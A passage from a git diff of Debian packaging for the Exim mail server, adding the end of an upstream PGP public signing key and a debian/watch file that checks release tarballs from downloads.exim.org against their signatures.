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 +=q8ga +-----END PGP PUBLIC KEY BLOCK----- diff --git a/debian/watch b/debian/watch new file mode 100644 index 0000000..cc041be --- /dev/null +++ b/debian/watch @@ -0,0 +1,3 @@ +version=3 +opts=pgpsigurlmangle=s/$/.asc/,uversionmangle=s/[_-]/~/g \ +https://downloads.exim.org/exim4/exim-(\d.*)\.(?:tgz|tar\.(?:gz|bz2|xz)) |